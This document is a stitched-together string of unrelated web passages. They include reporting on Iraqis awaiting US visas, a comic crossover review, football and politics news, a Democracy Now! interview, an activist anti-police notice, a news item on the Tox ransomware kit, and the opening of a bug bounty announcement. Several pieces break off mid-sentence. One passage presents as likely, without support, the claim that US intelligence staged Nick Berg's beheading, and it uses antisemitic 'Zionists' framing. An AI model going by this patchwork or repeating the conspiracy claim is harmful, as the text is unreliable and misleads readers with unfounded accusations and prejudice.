Comparing the a6300 with the a7II:
We see that the cropped-sensor camera comes very close to its full frame cousin at ISO 400 and above.Through the first nine months of the current fiscal year, fewer than 7,000 Iraqis have been admitted to the United States. In March, just seven were admitted on a so-called special immigrant visa — a class established by Congress to quickly move Iraqis in danger for having helped the American government — and in April, just nine. In some months last year more than 200 arrived on such visas.
The logjam has put numerous Iraqis, like the Aeisa family, in a potentially dangerous bind.
Their story is a common one: a brother was kidnapped and tortured, and the children were bullied in the schoolyard, accused of being spies even by the principal.
Last month they received the phone call they thought would never come. Their visa applications were approved, and they would soon be on their way to Arizona.
The father quit his job at Zain, a cellphone company, the children left school, the television, furniture and air-conditioner were sold, and the remaining belongings were packed up. The family of five took up temporary residence in a friend’s storage room.
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The week before the flight, another phone call came, this time with bad news. The departure was delayed indefinitely and without explanation.
“It hurts me even more than all the threats we received,” said the father, who asked to be identified only as Abu Hassan for security reasons. “We were expecting, ‘This is it.’ ” The mother, who asked to be identified as Umm Hassan, whose brother and father worked for the American military and now live in Arizona, said only, “I feel sick.”
Kirk Johnson, who worked for the United States Agency for International Development in Falluja in 2005 and then founded The List Project, a nonprofit group that aids Iraqis who worked for American-affiliated organizations, said, “Basically, I think where there’s a way to stall the program, there’s a will to do it.”
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Congress required the Pentagon and the Departments of State and Homeland Security to draft a plan to expedite visas for the most pressing cases, should insurgents threaten those left behind after the military leaves, and set a deadline of May that was not met.
Meanwhile, neither the Bush nor the Obama administration has met the targets set by Congress several years for issuing special immigrant visas.
The numbers are stark: beginning in 2008, Congress expanded the special immigrant visa program to allot 25,000 slots over five years. After nearly four years, the government has issued about 7,000.
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Mr. Johnson said the impetus for the legislation was to avoid a huge refugee crisis like the one after the pullout from Vietnam. In 2006, after British forces pulled out of Basra, the southern Iraqi port city, interpreters were rounded up and killed.
In an interview in Baghdad in May, Eric P. Schwartz, assistant secretary of state for the Bureau of Population, Refugees and Migration, said the administration would take care of the Iraqis who had assisted the American forces. “We feel that we are prepared to deal with any variety of contingencies,” he said.
Many thousands of Iraqis worked as interpreters for the American military, translating not just words but the cultural folkways of a land most soldiers knew nothing about.
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Maj. Gen. Jeffrey S. Buchanan, the top military spokesman here, said of his interpreters over the years: “We were in a lot of hairy stuff together. So you get a bond with these guys that’s incredible.”
Like many officers, he helped an interpreter from a previous tour navigate the bureaucracy of resettlement. Asked about the process, he said: “He got there. It took a long time.”
Another former interpreter of his recently saw him on Iraqi television and contacted him. “He got captured by Al Qaeda and was held for about seven months and was tortured,” General Buchanan said.
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The American government never kept track of how many Iraqis it employed. “50,000? 100,000? 120,000? Who knows?” Mr. Johnson said.
The government also never accounted for how many Iraqi employees were killed or wounded. But it is clear hundreds have died, and many more have been wounded. A database kept by Titan, a contractor that provided interpreters, was leaked and subsequently published in ProPublica, an independent, nonprofit newsroom that produces investigative journalism. For the period between 2003 and 2008, the document showed nearly 300 deaths of interpreters hired by Titan.
Now, with the military leaving, many of those who survived, or still work for the Americans, feel abandoned and betrayed by a government they risked their lives for, by serving on the front lines for a cause they believed in.
Iraq is not as violent as it once was, but Iraqis are still threatened for their work with the Americans. Ghaith Baban, 34, works for U.S.A.I.D. and spent May in hiding after he found a note in his garage that cited the Koran and threatened his life for “collaborating with the U.S.” He first applied for resettlement in early 2009 and is still waiting.
When the military leaves, he said, “it’s going to be the worst time for those people who worked for the Americans.”
Meanwhile, the Aeisa family waits for its promised flight to Arizona. The family never initially intended to leave. When relatives who worked for the American military left for the United States, the Aeisa family thought the threats would end. They didn’t. The family’s pit bull, Spider, was killed. A note was left: “Leave, traitors. You are spies for the Americans.” The family moved several times.
“We would have wanted to stay,” said Umm Hassan, the mother. “We had a farm, we had a normal family. All of our dreams were destroyed.”The video of execution of American hostage Nick Berg in Iraq is threatening to develop into a major scandal. During a press conference the father of the beheaded American accused Bush and Rumsfeld of killing his son. There are more and more suspicions that Nick Berg was really executed not by Arab militants, but by the US intelligence services in order to divert the attention from the scandal about the tortures in Baghdad prison. First there was a report that a video showing an execution of an American expert captured in Iraq was shown on a so-called 'Islamic extremist' website. It was reported that the execution was carried out by a group of guerillas tied to Al-Qaeda in order to take revenge for the tortures that the American soldiers did to Iraqi inmates. The video shows five men, whose faces are hidden behind black masks and traditional Arab scarves. They all are standing around a tied-up man with an orange suit on, the kind of suit inmates wear. The victim says to the camera: «My name is Nick Berg, my father’s name is Michael, my mother’s name is Susan. I have a brother and a sister, David and Sarah. I live in Philadelphia ». After these words they got him down on the floor, put a big knife to his throat and cut his head off, while screaming 'Allah Akbar' ('God is Great'). The video footage was called «Abu Musab Al-Zarqawi shows killing of an American». A day before the video was shown, Mr. Berg’s parents were told that their son’s body was found near a highway in Baghdad. The scene of the execution and the comments on it were the number one news in the world’s mass media for some time. Then the CIA experts released a statement saying that Abu Musab Al-Zarqawi was the man in mask who beheaded the US citizen Nick Berg in front of a camera. Then Western commentators and moralists took over and launched a campaign to vindicate the Americans exposed for torturing Iraqi inmates. Compared to the brutal murder of an American with cutting his head off, the tortures of Iraqis in prisons started looking like minor pranks of undisciplined soldiers. Another factor was that the beheaded victim was a Jew, which was picked up by the Zionists immediately to justify their actions and to show what kind of enemy they have to be dealing with. However, so many questions arose about the videotape that all accusers of so-called 'Islamists' got quiet right away and the subject disappeared from the agenda in the world’s media. Many questions came up, and they are all pointing out that the accusations by Mr. Berg’s father against the US authorities on killing his son have very serious grounds. The first suspicion was caused by a video where Berg was wearing an orange American jail suit. Berg was arrested by the Americans and had time to tell his friend that he was in an American prison. Intelligence services were denying this and were saying that Berg was arrested by the Iraqi police for Israeli stamps in his passport. But later on it turned out |
has returned to Gotham looking for Jigsaw, who never returned to New York. Jigsaw is working with The Joker who, for reasons which are never made clear, is helping him rise through the Gotham underworld. They’re currently plotting to take over the territory of a mobster named Navarone. We open with a gunfight going on between a bunch of Joker and Jigsaw’s men and Navarone’s men in some kind of factory. Both Punisher and Batman show up and a brief fight between them ensues. The Punisher, unaware that this isn’t the same man who he teamed up with and fought before, notes to himself “Last time I was in Gotham this guy was a reckless brawler. Now he seems more skilled. Something refined about him. He must have changed personalities when he changed masks.” While Batman is less-impressed with The Punisher. “At heart he’s just a brawler. All rage and brute strength.” A fire causes the roof to collapse, and Punisher gets away.
We see Jigsaw and The Joker together discussing their next plans. Batman is conferring with Robin in the Batcave, while The Punisher confers with Microchip in the battle-van. There’s some more investigating going on, we see Jigsaw and Joker killing some people, and then this all leads up to another big gang fight, this time at a restaurant, and both Punisher and Batman arrive. And it’s one big mess of gunshots and smoke-bombs.
It ends with Batman knocking out Jigsaw and handcuffing him, while Punisher chases after The Joker and catches him in a back alley. He’s ready to shoot Joker in the face when Batman stops him and tells the Joker to “run for your life.” The Punisher isn’t happy with that, which means that once again it’s FIGHT TIME!
Well...it’s not exactly much of a fight…
That was pretty bold for Marvel to allow. That remains a controversial outcome for many Punisher fans, seeing Batman dismiss him so easily. But Dixon was the main writer for both characters at the time so if anyone would know how a fight between them should go, it would be him.
This story is not without its flaws. There’s a funny little bit where Robin and Microchip are each doing some computer hacking and run into each other in cyberspace. Other than that they don’t really have a purpose here and probably could have been cut out of it in order to expand the story. Likewise the brief appearances of Commissioner Gordon and Alfred seemed just tacked on so John Romita Jr. could have an excuse to draw them (in fact, IIRC, neither character was even active in the bat books at the time). Also Joker has helped Jigsaw get plastic surgery, because he says that Gotham criminals wouldn’t follow someone who looked like Jigsaw. Really? Gotham is full of freaky-looking criminals who never have trouble getting henchmen to work for them. Two-Face, Penguin, and The Joker himself, among many others, so that doesn’t make sense. And, as I said, it’s never made clear why Joker is helping Jigsaw in the first place. And as funny as the bit with Batman and Joker at the end is, he’d really just let Joker run away just to save him from Punisher?!? That is really out of character, especially when we see how easily Batman can handle The Punisher.
That being said, I do still enjoy it. It’s cool to see the characters together, and John Romita Jr.’s art is excellent. It’s not perfect, but it’s a worthy crossover, recommended for both Punisher and Batman fans.
It is likewise out of print, and harder to find although there are copies available on Amazon, and likewise it’s collected in DC/Marvel Crossover Classics, Vol. IITheetge told NBC News that police were contacted "to help the family sort the information that was provided to them," but she could not provide additional details because authorities decided the case was a civil matter.
The family was not identified, and Cincinnati police are not conducting a criminal investigation.
A search of a landfill near the hospital turned up no sign of the baby's body, according to The Associated Press, which reported the child had died an hour after birth on Sept. 14.
Multiple attempts to reach the University of Cincinnati Medical Center went unanswered Tuesday. Hospital officials released a statement calling what happened a "tragedy" for the family.
"This situation was unacceptable and we make no excuses. We have offered our deepest sympathy to the family and any support or resources we can make available to them," UC Health's President and CEO Richard Lofgren said in the statement.
Lofgren said that an investigative team was combing over "every fact, every process, and every action" that led to the incident to determine how it happened.
"We have already begun to put in place steps to ensure that this kind of tragic human error cannot occur again," Lofgren said.• 'We have to encourage him and try to give him confidence' • 'He is still very young and we have to give him time,' says Leiva
The Liverpool midfielder Lucas Leiva has sprung to the defence of new £16m signing Jordan Henderson by telling critics the England Under-21 international must be given time to settle in.
"I don't blame the young players because I've been in their place for a few years," said the Brazil international.
"He is English and knows the Premier League but to come to such a big club like Liverpool is really hard. I think he has played well and sometimes you get confidence when you get more minutes and understand the role you have to do.
"We have to encourage him and try to give him confidence to keep improving," he added.
Leiva was also convinced that Henderson would benefit from being given a chance to grow at the club: "We can see he has potential to be a good player but he is still very young and we have to give him time and be patient and I am sure he will be a good player," he said.
"Everyone has their own opinions and character but we can see in the training sessions he likes to work and that is the main thing. When you work hard the opportunities will come and he will be ready to take them. Don't rush him a lot, give him time to settle and I am sure he will be a good player in the future."An Arizona pizzeria served up a piping-hot plate of payback in response to a discriminatory bill that threatens the rights of the lesbian, gay, bisexual and transgender community.
This week, both houses of the state legislature passed Senate Bill 1062, which gives Arizona business owners the right to deny service to gays and others on the basis of religious freedom. While conservatives contend the legislation is meant to prevent discrimination against the faithful, Arizona Democrats say it is plain old discrimination.
"SB 1062 permits discrimination under the guise of religious freedom," state Senate Democratic Leader Anna Tovar said after the bill passed. "With the express consent of Republicans in this Legislature, many Arizonans will find themselves members of a separate and unequal class under this law because of their sexual orientation."
Now, at least one small business is fighting back against the proposed measure with a bold declaration of its own.
On Thursday, Tucson-based restaurant Rocco's Little Chicago Pizzeria displayed a window sign directed at the very legislators who back the regulation. A photo of the sign was posted to Facebook, along with this message: "Funny how just being decent is starting to seem radical these says [sic]."
"A customer posted the sign to my Facebook feed, so I printed it up and laminated it," owner Anthony Rocco DiGrazia told The Huffington Post Friday in a Facebook message. "The response has been overwhelming and almost all positive from across the globe. I just want to serve dinner and own and work in a place I'm proud of. Opening the door to government-sanctioned discrimination, regardless of why, is a huge step in the wrong direction. Thanks for all the support."
The sign was created by Barbie Donovan from Tucson.
A message posted to the restaurant's Facebook on Friday read: "Hey, just want to say that all we want to do is cook you some dinner. Not trying to be anything but your neighborhood pizzeria. Thanks for the support!"
The bill has been sent to the desk of Gov. Jan Brewer (R), and she can either sign the bill into law or veto it. She has not yet taken a public position.The Obama administration has just filed a motion to ensure that Sen. Rand Paul and FreedomWorks’ NSA lawsuit is dismissed.
Justice Department lawyers urged a federal judge to dismiss the class-action lawsuit filed against the National Security Agency by claiming that the lawmaker is not able to name the plaintiffs, in spite of the fact that it has been already widely reported that the NSA’s surveillance programs have targeted all Americans.
The lawsuit urges the court to keep the federal government from obtaining and controlling Americans’ telephone metadata.
According to FreedomWorks’ President Matt Kibbe, “Obama’s motion to dismiss our lawsuit is an insulting display of political arrogance coming out of the executive branch.” The same court that ruled that the government should destroy data obtained through Verizon on the Klayman case back in December would be in charge of dismissing the lawsuit.
Kibbe claimed that the move is a motion to censor civilians. “It wasn’t enough that the Obama administration authorized the single largest warrantless gathering of citizens’ private information in the history of the United States,” he said. “They don’t even believe citizens deserve an opportunity to plead their case after their rights have been violated.”
The motion to have the NSA lawsuit dismissed is met with Paul’s promise to put a hold on President Obama’s appellate court nominee after it was reported that David Barron, the First Circuit Court of Appeals nominee, had a role in coming up with a secret memo that led to the justification behind the assassination by drone of an American citizen, Anwar al-Awlaki.Was it really Obamacare that sunk Sink? I mean of course Alex Sink, the Democratic Florida congressional candidate who lost to Republican David Jolly on Tuesday. After the results were announced, Washington’s conventional wisdom congealed immediately: This was all about Obamacare, and it’s going to doom the Democrats come November.
Not so fast, says Geoff Garin, the pollster who did Sink’s polling in the race. Garin argues in a memo he released the day of the voting that “the issue ultimately provided more of a lift than a drag to her campaign.” He followed up by telling me yesterday: “She would have done worse if she’d neglected to hit back and engage the issue.” There’s a lesson in there for Democrats as they march toward November.
Garin put two key questions to the district’s voters. The first paraphrased the criticisms of Sink on Obamacare: Sink supports this law that will take away $716 billion from Medicare, and that caused 300,000 Floridians to lose their coverage and 2,500 patients at a district cancer center to have to change doctors. The second paraphrased criticisms of Jolly’s health-care position: He wants to totally repeal the law instead of fix it, a position that would let insurers again discriminate against the already ill and charge women more than they charge men for coverage. Repeal would also cut expanded prescription-drug coverage for Medicare recipients.
Respondents were asked to say whether this information gave them “very major doubts” about the candidates, “fairly major” doubts, “just some” doubts, or “no real” doubts. Results: While 43 percent now entertained very major doubts about Sink, 50 percent said they had very major doubts about Jolly. And 35 percent had no real doubts about Sink while only 26 percent had no real doubts about Jolly.
If that polling is accurate, then “more lift than drag” is accurate and fair. Guy Molyneux, a partner of Garin’s who oversaw some Obamacare polling for a couple of unions in January, echoed the point that there are at least three things Democrats can say about the law and the Republicans’ repeal zeal that poll really well. People broadly understand, Molyneux told me, that the law protects against discrimination based on pre-existing conditions, and they approve of that strongly. They also know that insurers can no longer drop sick people on whim, and they like that. And they’re getting to know that the law prevents insurers from charging women more than men, and they like that, too; even men.
There’s one more thing that people don’t yet know very well, but the polling indicates that it could be a strong debating point, too: Under the law, insurers have to publicly justify any rate increases greater than 10 percent. This is called rate review, and it and the medical-loss ratio provisions of the law (explained here) are the two main planks that guard against willy-nilly rate hikes. A Heath and Human Services study from last September found that nearly 7 million citizens had saved more than $1 billion because of rate review, and moreover, that insurance companies were seeking increases of 10 percent far less frequently than before the law because of the added oversight.
Since everybody and his brother assumes that the Affordable Care Act is going to increase their rates, seems to me it’d be awfully useful for the Democrats to develop a sharp talking point or two explaining to people that the law actually helps prevent crazy premium increases.
This all makes the Obamacare story a lot more complicated than “disaster for Dems.” It just doesn’t have to be. Republicans know this, too. Why are they, or some of them, suddenly talking about replacing the law? Precisely to try to insulate themselves from the effective Democratic attack that they’d give carte blanche to insurance companies to go back to their old ways.
It’s worth dwelling on this for a paragraph—it’s important to understand. It was in the spring of 2010 that the GOP unveiled “repeal and replace.” They stuck with that through the election. Then, once they’d retaken the House, they dropped “replace” and went for “repeal” only. Now that a midterm election is coming again, though, they’re starting to put “replace” back in their rhetoric. But it’s as hollow this time as it was then. “Our challenge,” Molyneux told me, “is to show that there’s nothing behind the curtain there.”
Lord knows, the Democrats have more problems than health care staring them in the face for the fall. The turnout question is the biggest one, although they say they’re making efforts this time that have no precedent in a midterm election. And Obama’s bad approval numbers—worse still in many of the states with high-profile Senate contests—are a huge factor. “If Obama’s still at 41 percent in mid-October, we’re in a world of hurt,” Molyneux says. And finally, but far from least, the economy. An awful, awful number from this week’s NBC/Wall Street Journal poll: Fully 57 percent of those surveyed said they think we’re still in a recession.
So yeah, there’s a lot for Democrats to worry about. But in most of the contested states—not Louisiana, probably not Arkansas, but the others—they can make Obamacare a net wash if they can be clear about the implications of “repeal” and call out their GOP opponents on “replace.” And maybe as a bonus show they have some fight in them, and give those unmotivated young and Latino voters some good reasons to go to the polls.With the CW‘s two freshman series, The Flash and Jane The Virgin, garnering some of the best reviews for new series this fall, the network is already looking forward to the second part of the season, ordering three additional scripts from each of the two shows. The vote of confidence comes two weeks before the October 7 debut of The Flash and three weeks ahead of the series premiere of Jane The Virgin, whose star Gina Rodriguez is touted to be one of this season’s breakouts.
Giving any type of order to new broadcast series several weeks before their debut is unusual and comes after both The Flash and Jane had delivered a couple of more episodes, with the CW executives said to be very pleased with that they have seen.
The CW brass like having the network’s new fall series prepared for a possible back order with pickups of additional scripts early on. Last year, all three freshmen, The Originals, The Tomorrow People and Reign, received orders for three additional scripts in October, after two airings of The Vampire Diaries spinoff The Originals, one of The Tomorrow People and a week ahead of Reign‘s premiere, which had been pushed by a week. All three series went on to score full-season pickups, with two, The Originals and Reign, also making it to Season 2.About Charity: Arizona Diamondbacks Foundation
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AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman, with Nermeen Shaikh.
NERMEEN SHAIKH: We turn now to Israel, where Secretary of State John Kerry has just concluded his third visit to the region in less than three weeks. His trip was intended to renew negotiations between Israel and the Palestinians, which have been stalled for more than four years. Israeli Prime Minister Benjamin Netanyahu and Kerry both claimed progress had been made toward possible peace talks. To that end, Kerry pledged Tuesday to work with Israeli and Palestinian leaders to boost economic growth in the occupied West Bank.
SECRETARY OF STATE JOHN KERRY: We agreed among us—President Abbas, Prime Minister Netanyahu and ourselves—that we are going to engage in new efforts, very specific efforts, to promote economic development and to remove some of the bottlenecks and barriers that exist with respect to commerce in the West Bank.
AMY GOODMAN: On Monday, while Secretary of State Kerry was visiting Israel, Israeli soldiers shot a Palestinian photographer in the face with a rubber-coated metal bullet in the Aida refugee camp in the West Bank city of Bethlehem. Mohammad Waleed Al-Azza was shot during clashes that took place between Israeli soldiers invading the camp and local youths who were hurling stones at them.
Another journalist, Israeli journalist Amira Hass, has suffered a torrent of hate mail and calls for her prosecution after she wrote an article defending the rights of Palestinians to resist violent occupation. In the article, Amira Hass defends the throwing of stones by Palestinian youth at Israeli soldiers, calling it, quote, “the birthright and duty of anyone subject to foreign rule,” unquote. Amira Hass says Israelis remain in denial about, quote, “how much violence is used on a daily basis against Palestinians. They don’t like to be told that someone has the right to resist their violence,” she wrote.
Well, to talk more about the situation is the journalist herself. Amira Hass joins us now, Haaretz correspondent for the occupied Palestinian territories, the only Jewish-Israeli journalist to have spent almost 20 years living in and reporting from Gaza and the West Bank.
It’s great to have you with us here in New York, Amira.
AMIRA HASS: Thank you.
AMY GOODMAN: Talk about what this article said. You wrote it for Haaretz?
AMIRA HASS: That’s right. It was published last week. And I think it’s not the first time that I write that Palestinians have the right to resist, like any other group which is suffering the oppression or repression. And I wrote several things. Maybe the main thing was that the Israeli occupation is the source of violence. I mean, this is violence. The Israeli policies are institutionalized violence. Even when there is no physical force used, it is always violent.
And then I was posing the question, how come that Palestinians schools do not teach kids to resist, forms of resistance? And I also wrote—I also said something about the restrictions that there are on forms of resistance, like, I said, of course, a distinction between an armed person and a civilian, or a child and a person with uniform. I made this distinction, but I didn’t think it—I mean, it’s not that we have always to defend and to explain why this resistance has to be so or so or so. The main thing to concentrate on is the violence of the ruler and the domination.
NERMEEN SHAIKH: Amira Hass, as you point out, you’ve made the same points in other articles you’ve written.
AMIRA HASS: Yes.
NERMEEN SHAIKH: But the criticism of this piece, in particular, was quite widespread. And I want to turn to one of the critics of your article. This is Adva Bitton, the mother of three-year-old Adele. Adele, the three-year-old, was critically injured in a stone-throwing incident last month. And the mother wrote in the Hebrew daily Ma’ariv, quote, “I agree with you that everyone deserves their freedom. Arab and Jew alike. I agree with you that we all ought to aspire to liberty, but there isn’t a person on earth who will achieve freedom and liberty by means of an instrument of death. There’s no reason on earth that Adele, my three-year-old daughter, should have to lie in the intensive care unit now, connected to tubes and fighting for her life, and there is no reason, Amira, for you to encourage that.” Can you—
AMIRA HASS: Yeah.
NERMEEN SHAIKH: —respond to this?
AMIRA HASS: No, I don’t want to respond.
AMY GOODMAN: What happened? What happened to her daughter?
AMIRA HASS: She drove—she visited friends or family in one of the settlements in the West Bank, and while they were driving back home, some kids from a village are said to have thrown stones, and one hit—one hit her. She made a turn, and she bumped into a truck, and they were wounded, yes.
I don’t think I have to respond to this. It’s her pain, and I don’t—like, people could come and bring the stories of hundreds of Palestinian children who are killed and wounded by Israeli [inaudible], by Israeli bullets and by Israeli tear gas and, I don’t know, whatever. I’m against asymmetry. And I think that I explain very well in my article the differences and the distinction that one has to take.
But the fact is that Israelis—I mean, that we maintain our hegemony with the use of almost unlimited power—I mean, with unlimited institutional power against the Palestinians. And Palestinians have tried many ways—diplomatic ways and other ways—to resist this Israeli domination, and it has not succeeded. Stone throwing is a sort of a message, and the Israelis don’t listen to it. Twenty-five years ago, with the First Intifada, Israelis did listen to this message. I mean, they did understand that this is a message of—it’s not in order to kill, it’s not in order to hit somebody, but it’s in order to tell: “You are unwelcome visitors in our midst.”
NERMEEN SHAIKH: OK, so what accounts for the change? Why were Israelis more amenable or open to understanding stone throwing 25 years ago—
AMIRA HASS: Yeah.
NERMEEN SHAIKH: —during the First Intifada? What about now?
AMIRA HASS: I think the main—it’s the main, you could say, achievement of the Oslo process, that the benefits of the occupation have been much—have been really entrenched and reached larger segments of the Israeli society.
NERMEEN SHAIKH: By which you mean? Profits in what sense?
AMIRA HASS: Economical profits. You know, it is occupation deluxe: We don’t have—we have the benefits of the occupation; we don’t have the responsibility of taking care of the population. We have delegates who actually put the people under control. I mean, that’s the Palestinian police, Palestinian security agencies. So it is not really—the onus of occupation is not felt as it was felt maybe 25 years ago, when so many Israeli soldiers were amidst Palestinians in the cities and when Israel had to take some kind of care about health and cleaning the streets and water distribution. Now all the responsibility is on the Palestinians and on the PA.
And then, of course, you grew—I mean, you talk about drones. I mean, I think that the Israeli industry of arms has developed very much in the past 25 years. And the form—this form of arms that is very much—that fits into a world of containment, into policies of containment, not the conventional wars, but the wars which are meant to quell social unrest.
NERMEEN SHAIKH: You—
AMIRA HASS: And we fit into this—
AMY GOODMAN: Amira, the significance of Secretary of State John Kerry going to Israel, and what you believe the role of the U.S. should be right now?
AMIRA HASS: I think that the role of the U.S. is—I mean, they want to keep the—to maintain the status quo, that the Palestinians keep quiet and keep this fake process of endless negotiation, so the negotiation becomes an end to itself and not a means to reach their independence. So, they again will try to extract from Israel some promises for gestures. And I’ve been—I’ve been hearing this for 20 years. Economical progress, which is really an impossible thing. It’s a—you cannot both maintain Israeli control over 60 percent of the West Bank and continue to divide Gaza from the West Bank and continue to forbid Gazans from exporting their products and have economical progress. I mean, Kerry will soon see that he has failed just as others before. But I don’t think it’s failure, because he wants—I mean, the policy, the U.S. policy, is to maintain—to keep the status quo going. I mean, this kind.
NERMEEN SHAIKH: You also suggest an article that the Palestinian Authority is interested in maintaining the status quo.
AMIRA HASS: It is, yeah.
NERMEEN SHAIKH: Could you explain? Why is that?
AMIRA HASS: It has become—maybe it’s not interested, as it has become second nature of the Palestinian Authority. Some—some for personal reasons, because, you know, there is a strata that also benefits from the status quo, and because they don’t see any—any near real—any near real solution, or they don’t—there is not a feeling that we’re near a fair solution. So at least they can maintain the status quo, which benefits stratas—and not only benefits in the bad sense of the word; I mean, I see many people who are tired of fighting. So they want to keep—to have these several years to be able to care for their families, to send their children to better education, to travel in the world or something. So it’s a very normal aspirations for the time being, because there is a sense that politically nothing is—no fair solution is near. And there is also—it became also a second nature of the PA to think only about diplomatic means and not means which involve the general—the people.
AMY GOODMAN: Amira, we just have 20 seconds. But you were awarded here in 2009 by the International Women’s Media Foundation for your courage, for your lifetime achievement. CNN’s Christiane Amanpour introduced you, describing you as “one of the [greatest] truth-seekers of them all.” You have been in the Occupied Territories for 20 years, the only Jewish-Israeli reporter to live there. Do you think the pain will end?
AMIRA HASS: Not in our—not in my lifetime.
AMY GOODMAN: You’re the daughter of a Holocaust survivor.
AMIRA HASS: Yeah.
AMY GOODMAN: You wrote a book about your mother.
AMIRA HASS: Essays, yeah, yeah.
AMY GOODMAN: Holocaust often used to justify what’s happening to the Palestinians?
AMIRA HASS: Look, our terrible tragedy is that we have two catastrophes, human catastrophes, clashing with each other. And each has its own pains and layers of pain, which do not vanish, even when—the only thing—and this is where I can quote my father, who is a survivor—
AMY GOODMAN: We have five seconds.
AMIRA HASS: The difference is, with the Palestinians, it continues and continues and continues.
AMY GOODMAN: Amira Hass, we’re going to do part two and put it online at democracynow.org.ARC is aware that UC Berkeley PD is circulating images of individuals who they claim are associated with the Berkeley anti-Milo protest on February 1. They are actively seeking information about these individuals, and are asking anyone with information to contact them.
We want to remind everyone NOT to assist UC Berkeley PD in their investigation, EVEN IF it seems like the information you give is harmless. Remember that even minor information, like identifying a “witness,” can be used to increase surveillance of activist communities. Police use this kind of information to map activist networks and harass them. In the current political climate, the state is looking for ways to clamp down on dissent and resistance. Let’s not help them do that.
Remember that you have NO LEGAL OBLIGATION to talk to police or FBI if contacted about the protest. They may try to make you feel intimidated, but you ALWAYS have the right to remain silent. If you are contacted by phone, email, letter, or in person, either ignore the correspondence, or tell the officer that you decline to speak with them.
If you are contacted, immediately call the National Lawyers Guild at 415-285-1041 so that they can give you legal advice, and also so that they can be aware of police/FBI activities.
Finally: DO NOT post or circulate the UC Berkeley PD webpage with pictures of individuals. We do not want to signal boost anything that will increase surveillance and targeting of our communities.or by category, New Testament Apocrypha Gnostics Church Fathers Other, or use the search box. Browse by range of datingby category,use the search box.
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Liverpool have reportedly slapped a £133million price tag on Philippe Coutinho.
The Reds are said to be hopeful that an extortionate valuation will scare off Barcelona in their attempts to land the Brazilian this summer.
Coutinho, 25, has been the subject of intense attention from Barca with a move for around £80m touted.
But Spanish newspaper Sport claim that Liverpool have named their price at €150m (£133m) - which could be too much for the Catalan giants.
(Image: Liverpool FC via Getty)
(Image: Liverpool FC/Getty)
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It is reported that Coutinho is willing to move to Barcelona but with the transfer market inflating, Liverpool want to squeeze maximum value out of the deal.
A separate report also claims that Coutinho is willing to take a pay cut in order to secure a move to Catalunya.
Barcelona officials have allegedly already flew to London in order to conduct discussions over Coutinho.
(Image: Victor Fraile)
(Image: Getty)
Football transfer news 2017
Liverpool boss Jurgen Klopp insists Coutinho remains a major part of his plans for the coming season and has no intention of parting company with the Brazilian.
Speaking last weekend, the Reds boss said: “Everyone knows that Phil Coutinho is a key player for us.
“I know that he feels completely more than fine, comfortable — whatever — in Liverpool."We don’t just rely on standard statistics like rushing and total yards to evaluate running backs. We take into consideration how much of a team’s offense the back is responsible for. How much better are they than the average running back? How many more yards do they get than a replacement-level back would in the exact same game conditions? How successful are their runs?
Nothing fluctuates more in the NFL than running back ratings. Outstanding running backs can transcend poor offensive lines, and they can transcend record books when blessed with a good one. In addition, the pounding everyone who plays the position has to go through shortens the length of their careers to the point that longevity is rarely an option. Here’s a look at who we believe are the top running backs in the game right now.Their modern take on Sherlock Holmes reincarnated him from a fusty literary detective to one of TV’s most enigmatic and compelling characters.
Now Bram Stoker’s Dracula is to be the next project for Sherlock creators Mark Gatiss and Steven Moffat, who are to write a series on the Transylvanian vampire for the BBC.
Dracula, which was written by Stoker in 1897, tells the story of the count who travels from his home in Transylvania to Whitby, North Yorkshire, in search of new blood and to spread the curse of the undead.
While Gatiss and Moffat have not even begun writing the script, the mini-series will take a similar format to Sherlock, with feature-length episodes, and will again be produced by Sue Vertue. It will be the pair’s first collaboration since Sherlock. They have not ruled out a fifth season of the detective show entirely, but the schedules of its in-demand stars Benedict Cumberbatch and Martin Freeman make filming a challenge, and this new project may take priority,
The BBC will be hoping the collaborative efforts of Gatiss and Moffat, who recently finished his final series as the showrunner of Doctor Who, will bring the same magic to screens as Sherlock. |
in their desired ransom amount. Following that, users simply type in their “cause”, presumably the message that will alert unsuspecting users that they’re being held hostage to a piece of malware. And finally, users are prompted to fill out a captcha.
“This process,” McAfee explains, “creates an executable of about 2MB that is disguised as a.scr file. Then the Tox “customers” distribute and install as they see fit. The Tox site (on the TOR network) will track the installs and profit. To withdraw funds, you need only supply a receiving Bitcoin address.”
And as one would expect, if an unsuspecting user accidentally opens up the offending.scr file, the payload encrypts all of the data on their machine and only reverts back to normal once a Bitcoin payment is made. Naturally, the alert informs users who don’t know the first thing about Bitcoins how to buy the digital currency and how to make a payment with it.
For more information regarding the technical details surrounding the ransomware, McAfee has a detailed write-up that you can check out from the source link below.We’ve seen a lot of network charts for Twitter, Facebook, and real people. Screw that. I want to see social networks for movie characters. That’s where Movie Galaxies comes in.
Movies are important artefacts, bringing together vision and zeitgeist of our society. Embodying dreams, trends and other perspectives, they are a cultural vanishing point for millions of people in the world, that is worth to be explored. Just think about how your personal life and worldwide network with their single sub-clusters and side-stories are structurally represented in motion pictures. You might be surprised. We have a hunch that the “holy grail” of good movies is far more about social network structures than budget, cast and theme.
With movie scripts as the data source, Movie Galaxies quickly shows main characters, the extent to which they interact, and hints at a movie’s timeline. For example, in the first Lord of the Rings movie, the central plot was tied to a lot of characters, whereas in Forrest Gump, everything was tied to one character.
There are metrics, such as density and clustering, associated with each network, which could be made less technical sounding, but it’s fun to browse and search your favorite movies. I clicked around for a good half hour.The official Tunisian news agency reported on Friday that the government in Tunis has restored diplomatic relations with the Syrian regime, Palestine’s Al-Quds newspaper has said.
According to an informed and credible source in the Tunisian foreign ministry, his country has appointed Ibrahim Al-Fawwari as its consul-general in the Syrian capital. “Diplomatic relations with Damascus were restored several months ago,” said the spokesman, “and a full diplomatic team is working there.”
In 2012, Tunisia was the first country to cut its diplomatic relations with Syria, in protest at the military crackdown by the regime against the peaceful revolution. This led to an armed revolution in which hundreds of thousands have been killed and millions displaced.
Tunisia is also the country from where most of the foreigners recruited to fight against the Syrian regime originate.openANX Bug Bounty Program
OAX Blocked Unblock Follow Following Jun 18, 2017
No More Bugs!
We are starting our bug bounty program for all contracts and software relevant for our upcoming token launch. Read more about our Token launch mechanics here <https://github.com/openanx/OpenANXToken>
Major bugs will be rewarded up to 5000 OAX tokens. Much higher rewards are possible (up to 10000 OAX tokens) in case of very severe vulnerabilities. The bounty program will be capped at 50000 OAX tokens.
Most of the rules on https://bounty.ethereum.org apply. For example: First come, first serve. Issues that have already been submitted by another user or are already known (such as these) to the team are not eligible for bounty rewards.
Scope of Bug Bounty Program
Within scope:
Examples of what’s in scope
Being able to obtain more tokens (OAX) than expected
